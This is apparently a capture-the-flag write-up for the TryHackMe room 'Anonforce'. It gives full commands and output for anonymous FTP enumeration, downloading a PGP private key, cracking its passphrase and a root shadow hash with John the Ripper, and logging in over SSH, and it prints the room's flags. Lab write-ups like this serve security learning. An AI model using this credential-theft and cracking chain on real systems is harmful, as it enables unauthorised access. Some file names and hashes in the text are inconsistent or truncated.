

Anonforce - THM

Target: 10.49.167.170

MyMachine: 10.49.124.253

Scan the network:

nmap -sV -O -p- 10.49.167.170

```
root@ip-10-49-124-253:~# nmap -sV -O 10.49.167.170
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-06-15 15:48 UTC
Nmap scan report for ip-10-49-167-170.ap-south-1.compute.internal (10.49.167.170)
Host is up (0.00047s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.10 - 3.13
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds
root@ip-10-49-124-253:~#
```

We see two ports open: ftp/21 and ssh/22

Lets run a script scan for more info:

nmap -sV -O -sC -p21,22 10.49.167.170

```
root@ip-10-49-124-253:~# nmap -sV -O -sC -p21,22 10.49.167.170
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-06-15 15:49 UTC
Nmap scan report for ip-10-49-167-170.ap-south-1.compute.internal (10.49.167.170)
Host is up (0.00033s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
|_ ftp-syst:
|_   STAT:
|_   FTP server status:
|_     Connected to ::ffff:10.49.124.253
|_     Logged in as ftp
|_     TYPE: ASCII
|_     No session bandwidth limit
|_     Session timeout in seconds is 300
|_     Control connection is plain text
|_     Data connections will be plain text
|_     At session startup, client count was 4
|_     vsFTPD 3.0.3 - secure, fast, stable
|_ _End of status
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ drwxr-xr-x  2 0      0          4096 Aug 11 2019 bin
|_ drwxr-xr-x  3 0      0          4096 Aug 11 2019 boot
|_ drwxr-xr-x 17 0      0          3700 Jun 15 08:45 dev
|_ drwxr-xr-x 85 0      0          4096 Aug 13 2019 etc
|_ drwxr-xr-x  3 0      0          4096 Aug 11 2019 home
|_ lrwxrwxrwx  1 0      0             33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
|_ lrwxrwxrwx  1 0      0             33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
|_ drwxr-xr-x 19 0      0          4096 Aug 11 2019 lib
|_ drwxr-xr-x  2 0      0          4096 Aug 11 2019 lib64
|_ drwx----- 2 0      0        16384 Aug 11 2019 lost+found
|_ drwxr-xr-x  4 0      0          4096 Aug 11 2019 media
|_ drwxr-xr-x  2 0      0          4096 Feb 26 2019 mnt
|_ drwxrwxrwx  2 1000   1000        4096 Aug 11 2019 notread [NSE: writeable]
|_ drwxr-xr-x  2 0      0          4096 Aug 11 2019 opt
|_ dr-xr-xr-x 102 0     0           0 Jun 15 08:45 proc
|_ drwx----- 3 0      0          4096 Aug 11 2019 root
|_ drwxr-xr-x 18 0      0          540 Jun 15 08:45 run
|_ drwxr-xr-x  2 0      0        12288 Aug 11 2019/sbin
|_ drwxr-xr-x  3 0      0          4096 Aug 11 2019/srv
|_ dr-xr-xr-x 13 0      0           0 Jun 15 08:45 sys
|_ Only 20 shown. Use --script-args ftp-anon.maxlist=1 to see all.
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_   2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)
|_   256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA)
|_   256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)
```

We dont see much info apart from that anonymous access is allowed in ftp.

Login to ftp:
ftp anonymous@10.49.167.170
Password: <enter>

```
ls -lah
cd home
ls -la
cd melodias
get user.txt
```

```
f ~ cd melodias
2 < Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||16985|)
150 Here comes the directory listing.
drwxr-xr-x  4 1000    1000        4096 Aug 11  2019 .
drwxr-xr-x  3 0        0          4096 Aug 11  2019 ..
-rw-----  1 0        0          117 Aug 11  2019 .bash_history
-rw-r--r--  1 1000    1000        220 Aug 11  2019 .bash_logout
-rw-r--r--  1 1000    1000       3771 Aug 11  2019 .bashrc
drwx-----  2 1000    1000        4096 Aug 11  2019 .cache
drwxrwxr-x  2 1000    1000        4096 Aug 11  2019 .nano
-rw-r--r--  1 1000    1000        655 Aug 11  2019 .profile
-rw-r--r--  1 1000    1000         0 Aug 11  2019 .sudo_as_admin_successful
-rw-r--r--  1 0        0          183 Aug 11  2019 .wget-hsts
-rw-rw-r--  1 1000    1000         33 Aug 11  2019 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||53620|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |*****| 33 170.51 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (42.01 KiB/s)
ftp>
```

Now in real world when we did `ls -lah` after login into ftp, we saw a lot of folder and files, you will have to check everything. In our case home works.

```
cat user.txt
```

And we have our first flag: 606083fd33beb1284fc51f411a706af8

```
root@ip-10-49-124-253:~# cat user.txt
606083fd33beb1284fc51f411a706af8
root@ip-10-49-124-253:~#
```

Lets login to ftp again and try to find root flag.

As this is an FTP connection we can't run the `find` command to look for files with specific names and permission, which leaves us with no other option but to enumerate the file system manually. We can start enumerating files from the root (/) and look for any odd file.

```
ftp anonymous@10.49.167.170
Password: <enter>
cd notread
ls -la
get backup.pgp
get private.asc
```

Now in real world when we did after login into ftp, we saw a lot of folder and files, you will have to check everything. In our case notread works.

```
ftp> cd notread
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||31579|)
150 Here comes the directory listing.
drwxrwxrwx  2 1000      1000      4096 Aug 11  2019 .
drwxr-xr-x  23 0        0        4096 Aug 11  2019 ..
-rwxrwxrwx  1 1000      1000      524 Aug 11  2019 backup.pgp
-rwxrwxrwx  1 1000      1000     3762 Aug 11  2019 private.asc
226 Directory send OK.
ftp> get backup.pgp
local: backup.pgp remote: backup.pgp
229 Entering Extended Passive Mode (|||31927|)
150 Opening BINARY mode data connection for backup.pgp (524 bytes).
100% |*****| 524      837.50 KiB/s   00:00 ETA
226 Transfer complete.
524 bytes received in 00:00 (375.98 KiB/s)
ftp> get private.asc
local: private.asc remote: private.asc
229 Entering Extended Passive Mode (|||40100|)
150 Opening BINARY mode data connection for private.asc (3762 bytes).
100% |*****| 3762      7.95 MiB/s   00:00 ETA
226 Transfer complete.
3762 bytes received in 00:00 (3.99 MiB/s)
ftp> █
```

And in that directory we can see there are two files namely `backup.pgp` and `private.asc`. This gives us a direct hint towards PGP cracking. And for that we first need to download both these files on our local system.

We can directly try to import the `private.asc` key but won't succeed as we don't have the passphrase for the same.

```
gpg --import private.asc
```

```

root@ip-10-49-124-253:~# gpg --import private.asc
gpg: key B92CD1F280AD82C2: public key "anonforce <melodias@anonforce.nsa>" imported
gpg: key B92CD1F280AD82C2/B92CD1F280AD82C2: error sending to agent: Operation cancelled
gpg: error reading 'private.asc': Operation cancelled
gpg: import from 'private.asc' failed: Operation cancelled
gpg: Total number processed: 0
gpg:         imported: 1
gpg:         secret keys read: 1
root@ip-10-49-124-253:~#

```

So, our first task is to crack the private.asc file to get the passphrase. For doing so, we will need gpg2john. Then we will use it to convert the asc file to a format that can be understood by john.

gpg2john private.asc > hash

```

root@ip-10-49-124-253:~# gpg2john private.asc > hash
File private.asc
root@ip-10-49-124-253:~# █

```

Now, we can pass the newly created hash to john for cracking.

john hash

or

john --format=gpg hash --wordlist=/usr/share/wordlists/rockyou.txt

Catchphrase: xbox360

```

root@ip-10-49-124-253:~# john hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia 12:Camellia256]) is 9 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
0g 0:00:00:01 DONE 1/3 (2026-06-15 16:12) 0g/s 12684p/s 12684c/s 12684C/s Nsamelodias1900..Nmelodias
Proceeding with wordlist:/usr/local/john/run/password.lst
Enabling duplicate candidate password suppressor using 256 MiB
xbox360 (anonforce)
1g 0:00:00:01 DONE 2/3 (2026-06-15 16:12) 0.5650g/s 10193p/s 10193c/s 10193C/s xbox360..madalina
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@ip-10-49-124-253:~# █

```

And here we get the passphrase for importing the private.asc key. Now, we can easily import the private.asc key.

```
gpg --import private.asc
```

```
root@ip-10-49-124-253:~# gpg --import private.asc
gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
gpg: key B92CD1F280AD82C2: secret key imported
gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
gpg: Total number processed: 2
gpg:         unchanged: 2
gpg:         secret keys read: 1
gpg:         secret keys imported: 1
root@ip-10-49-124-253:~#
```

Once our key is imported, we can move ahead to decrypt the backup.gpg file.

```
gpg --decrypt backup.gpg
```

```
root@ip-10-49-124-253:~# gpg --decrypt backup.gpg
gpg: encrypted with elg512 key, ID AA6268D1E6612967, created 2019-08-12
      "anonforce <melodias@anonforce.nsa>"
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
root:$6$07nYFaYf$F4Vmaegmz7dKjsTukBLh6cP0iMmL7CiQDt1ycIm6a.bs0IBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uo
7:::
daemon*:17953:0:99999:7:::
bin*:17953:0:99999:7:::
sys*:17953:0:99999:7:::
sync*:17953:0:99999:7:::
games*:17953:0:99999:7:::
man*:17953:0:99999:7:::
lp*:17953:0:99999:7:::
mail*:17953:0:99999:7:::
news*:17953:0:99999:7:::
uucp*:17953:0:99999:7:::
proxy*:17953:0:99999:7:::
www-data*:17953:0:99999:7:::
backup*:17953:0:99999:7:::
list*:17953:0:99999:7:::
irc*:17953:0:99999:7:::
gnats*:17953:0:99999:7:::
nobody*:17953:0:99999:7:::
systemd-timesync*:17953:0:99999:7:::
systemd-network*:17953:0:99999:7:::
systemd-resolve*:17953:0:99999:7:::
systemd-bus-proxy*:17953:0:99999:7:::
syslog*:17953:0:99999:7:::
_apt*:17953:0:99999:7:::
messagebus*:18120:0:99999:7:::
uuid*:18120:0:99999:7:::
melodias:$1$xDhc6S6G$IQHUUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::
sshd*:18120:0:99999:7:::
ftp*:18120:0:99999:7:::root@ip-10-49-124-253:~#
```

Create a file called root_pass and paste the hash

```
root@ip-10-49-124-253:~# cat root_pass
$6$07nYFaYf$F4Vmaegmz7dKjsTukBLh6cP0iMmL7CiQDt1ycIm6a.bs0IBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0
root@ip-10-49-124-253:~#
```

Now lets crack the hash to get the root password:

john root_pass --wordlist=/usr/share/wordlists/rockyou.txt

```
root@ip-10-49-124-253:~# john root_pass --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Note: Passwords longer than 26 [worst case UTF-8] to 79 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
hikari (?)
lg 0:00:00:13 DONE (2026-06-15 16:39) 0.07547g/s 521.7p/s 521.7c/s 521.7C/s 1111111111111111..bethan
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@ip-10-49-124-253:~#
```

We have toot password. Now login to SSH

```
root@ip-10-49-124-253:~# ssh root@10.49.167.170
The authenticity of host '10.49.167.170 (10.49.167.170)' can't be established.
ED25519 key fingerprint is SHA256:+bhLW3R5qYI2SvPQsCWR9ewCoewWWvFTVFQUAGr+ew.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.49.167.170' (ED25519) to the list of known hosts.
root@10.49.167.170's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-157-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@ubuntu:~# locate root.txt
root@ubuntu:~# ls -la
total 28
drwx----- 4 root root 4096 Jun 15 09:40 .
drwxr-xr-x 23 root root 4096 Aug 11 2019 ..
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx----- 2 root root 4096 Jun 15 09:40 .cache
drwxr-xr-x 2 root root 4096 Aug 11 2019 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 33 Aug 11 2019 root.txt
root@ubuntu:~# cat root.txt
f706456440c7af4187810c31c6cebdce
root@ubuntu:~#
```

ssh root@10.49.167.170

We have our flag. YAYYYY!